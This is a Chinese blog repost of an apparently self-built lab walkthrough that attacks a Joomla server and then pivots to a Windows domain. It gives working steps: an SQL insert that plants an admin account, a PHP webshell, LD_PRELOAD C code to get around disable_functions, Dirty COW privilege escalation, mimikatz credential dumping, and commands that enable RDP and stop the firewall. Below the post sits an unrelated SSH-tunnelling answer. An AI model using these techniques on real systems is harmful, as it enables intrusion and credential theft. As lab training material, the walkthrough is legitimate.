ssh 怎么通过跳板机传文件到内网_内网渗透 | 域渗透实操ATT&CK

0x01 Build Up

Goal:目标域控存在一份重要文件。

dcf7ccb721c5c1cd48dafc5d6f9e0056.png
network

建议DMZ的web双网卡:一个桥接一个VMnet2。其他的全部是VMnet2。

c6fa4b983328c8e39cb2818779419d72.png
network配置

VMnet2配置如上图。

6f23284b1c1b0ae8dad5af1c1bf715fb.png
ip信息

看到分配成功然后互相ping一下没问题就ok了。

说明一下,是黑盒测试所以不提供网络拓扑,只给出DMZ的ip。


0x02 DMZ

0x2.1 Admin Login

2ea17d856044658ac507921012845a9e.png

index

可以看到Written by Joomla,探测一下目录。

d1e1866e1286f011cdc8ca27f9d61187.png

phpinfo
e7ad54e6494402f2b65e5d3bb982eb0f.png
admin
6771241a8b18e401cb107439ddb8b2c2.png

这个比较有用,看看能不能远程连接一下。

331a347c305d6049fad6db43dd8083c1.png
3e3fd5a87828ba553e09fd54463674fd.png

看样子我们还是加一个管理员比较好,具体字段可参考官方文档或自己查看。

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cnINSERT INTO `am2zu_users_users`   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)VALUES ('Administrator2', 'Railgun',    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_users_user_usergroup_map` (`user_id`,`group_id`)VALUES (LAST_INSERT_ID(),'8');

注意修改表前缀,执行后即可登陆:Railgun secret

597b01e69d34176159d0ede17ffb3c24.png

0x2.2 GetShell

Extensions—>Templates,然后选择随意一个模板进入—>New File

8d8ffdb7ffced6e5d62240aa6c592bbc.png

f23c156677e4e906e377bc332ff24644.png

shell:http://192.168.8.150/templates/beez3/shell.php
e5187a66606a4faf559f3ca1182f342d.png

执行不了命令,看了一下开了disable_function.

0x2.3 ByPass disable_function

1、生成含有恶意代码的动态链接程序。2、运用putenv来设置LD_PRELOAD,优先调用我们编写的程序。3、通过webshell触发函数。
#define _GNU_SOURCE#include #include #include extern char** environ;int geteuid (){    const char* cmdline = "ls > /var/www/html/test.txt";    int i;    for (i = 0; environ[i]; ++i) {            if (strstr(environ[i], "LD_PRELOAD")) {                    environ[i][0] = '\0';            }    }    system(cmdline);}
#gcc -shared -fPIC libc.c -o exp.so
php:
putenv("LD_PRELOAD=/var/www/hacklibc.so");mail("admin@admin.com","","","","");

将hacklibc.so传到服务器再通过下方php代码设置LD_PRELOAD。运行后/var/www/html下就会有一个test.txt。

我们准备好链接库以及利用php,传到服务器上。

0d80b0b6f0a5c96552dc5a9f8fd45406.png

注意该exp有三个参数:

  • cmd—>待执行的命令

  • outpath—>保存命令执行输出结果的文件路径(注意,要有读写权限的路径)

  • sopath—>自然是我们的lib.so了。

可以看到执行命令时Ok的,但是此处不考虑提权了。

c7d37b43f6c630c7c49d8f8a617f0475.png

很奇怪,IP地址不对啊!

0x2.4 SSH

本想读出来passwd和shadow破一下密码,但是虽然passwd有权限但是shadow不可读。

487ca1f31ff6b1d6c8848ae74b935590.png

这时候就要发挥取证的功底了哈哈,找到一个东西。

f3867a870c8a7af9a4f0f568b7764c16.png

肯定是ssh嘛,登陆。

8df0a984057e7c4a20595be0d2ad2ed7.png

0x03 Probe Intranet

0x3.1 提权DMZ&&发现真正的web Server

eca6492db025f946d2398b2a4e525b17.png

目前我们分析得知上面的拓扑图,因为前面执行命令发现shell返回的IP并不是我们访问的DMZ。

所以判断真正的web放在192.168.93.120,这台web机开放apache服务,而DMZ通过Nginx反代解析到120这台机器。

35a1078f63f0263fedeb70093543eeee.png
nginx.conf

上图更是验证了我们的想法。

269c231604f2184f44b4da065a72b27a.png

可用脏牛提权。

41e31834b2499140cb2dd6e640483a1d.png

看来测试的时候已经用脏牛提过了…

d4759f4cb6efa6ec62be5dadb1a7b60d.png

提权成功。

0x3.1 向内网进发

接着向内网进发,用本台DMZ当作跳板机,还是常用的两个方法:EW代理,msf。

本来想介绍一下msf怎么操作,因为之前都是只说了流程,没有具体演示,但是kali桥接出了问题,正向shell也没弹到,所以还是用ew吧。

前面已经知道ip段是192.168.93.x

612f8bd2b726eceb63d800554e29b874.png
514ee01e2a1bac92383916a846113439.png

0x3.2 WinServer2008 SMB

d109491c45f654db867b1432fa36f2b2.png

爆出来了!

e368cb70389fec96a1e4e4678ad97392.png

上传mimikatz

使用wmiexec来执行命令

https://github.com/maaaaz/impacket-examples-windows

使用proxifier来代理。

a7b9f51f320cdbe9321f0492de637e5b.png
3eaa624f7bc21834e839d827ff3ec5f0.png
2fe57ab789aaf953ed5a823f45a1c9a3.png

可以执行命令了,我们去抓一下密码。

但是执行完mimikatz.exe直接没反应啊,所以可能这个不能做到交互吧…

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

上述命令为非交互情况下使用mimikatz读取密码。

a631fca2afcc19125a0c0fea92f3d1ff.png

注意看域,不要去用其他本地密码尝试。

若读不到:

2b5de9fd6d8d19a451fc19e6a2898a64.png

有了域控密码,接下来就是找域控啦!

04c13f4926113dc3a263a8b9bbde1adf.png

看到域是test.org

ca46764a37487eebbc9bbc1308e79a46.png

这样确定域控就是那台windows server 2012了。

0x3.4 WinServer2012 AD

f159e574a81f44ca3a2157e3c4d6c548.png

开了3389,没开域控,这里有两种办法,先说第一种。

还是靠SMB执行命令强开3389

a722bec44fb48c3e895f89c1bdc1af97.png

但是没打开…server2003就是Ok的,不过还是可以执行命令。

f489ccdbc3e49f260f9573d5842ea0a7.png

现在考虑不是3389没打开而是有防火墙,关一下试试。

3389:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
firewall:
net stop mpssvc

后来我去看了,3389真的开了,防火墙真的关了,我真的连不上…

第二种就是$IPC入侵了。

5ebc362c585546d82a03eae239194dab.png

该种方法不能在本地运行,本地找不到域控。

0x4 结束

0x4.1 进行内网渗透的思路

边界机拿到手以后可以根据情况考虑提权,以它作为跳板(ew,msf),然后迅速探测内网存活主机,探测操作系统以及开放端口,存不存在CVE,存不存在有缺陷的服务。对于域中的windows可以选择CVE直接打或者爆破3389或者爆破smb,拿到权限后可以使用mimikatz来读取域中的密码或执行命令,然后探测域控主机。

88bb93301dd1878e22fc89a1b5cf2124.png

原创投稿作者:Railgun

作者博客:www.pwn4fun.com

本文由公众号HACK学习排版编辑整理

87186bb4a9b68628787f40be5cc3a413.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
如果你要通过跳板访问内服务器,可以按照以下步骤作: 1. 在本地电脑上打开终端,输入以下命令建立 SSH 隧道连接: ``` ssh -L <本地端口号>:<目标服务器IP>:<目标服务器端口号> <跳板用户名>@<跳板IP> ``` 其中,`<本地端口号>` 是你本地电脑上任意一个未被占用的端口号;`<目标服务器IP>` 和 `<目标服务器端口号>` 是你要访问的内服务器的 IP 地址和端口号;`<跳板用户名>` 和 `<跳板IP>` 分别是你连接跳板的用户名和 IP 地址。 例如,如果要通过跳板连接 IP 地址为 `192.168.1.100`,端口号为 `22` 的内服务器,可以使用以下命令: ``` ssh -L 8888:192.168.1.100:22 [email protected] ``` 2. 输入跳板的登录密码进行身份验证。 3. 成功连接跳板后,在终端中输入以下命令连接内服务器: ``` ssh -p <本地端口号> <内服务器用户名>@localhost ``` 其中,`<本地端口号>` 是你在第一步中指定的本地端口号;`<内服务器用户名>` 是你要登录的内服务器的用户名。 例如,如果在第一步中使用的本地端口号为 `8888`,要登录的内服务器的用户名为 `root`,可以使用以下命令: ``` ssh -p 8888 root@localhost ``` 4. 输入内服务器的登录密码进行身份验证。 5. 成功登录内服务器后,在终端中输入 `exit` 命令退出 SSH 连接。 6. 在浏览器中输入 `http://localhost:8080` 访问内服务器的 Web 应用程序,其中 `8080` 是你要访问的应用程序的端口号。 注意:以上命令中的 IP 地址、端口号和用户名等参数都需要根据际情况进行替换。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值